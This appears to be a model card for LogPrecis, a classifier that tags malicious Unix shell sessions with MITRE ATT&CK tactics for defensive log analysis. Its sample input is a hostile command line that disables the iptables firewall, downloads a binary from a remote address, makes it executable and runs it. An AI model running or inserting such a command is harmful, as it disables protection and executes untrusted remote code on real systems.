LogPrecis is a model fine-tuned for Token Classification.
The base model is SecureShellBert, a Codebert previously domain-adapted using a corpus of >20k Unix sessions. Later, it was further finetuned on the task of Token Classification with 360 labelled examples.
Specifically, LogPrecis is designed for the analysis of malicious Unix logs. Given as input a Unix session:
etc/init.d/iptables stop ; wget –c http://10.10.10.10:8080/exec ; chmod 777 exec ; ./exec ;
LogPrecis outputs the sequence of Mitre Tactics:
Impact x 3 -- Execution x 10
LogPrecis achieved a 91.2% accuracy on the test set. Its training code, data and training details are available on SmartData's GitHub.
metrics:
- accuracy
- rouge
pipeline_tag: token-classification
- Downloads last month
- 45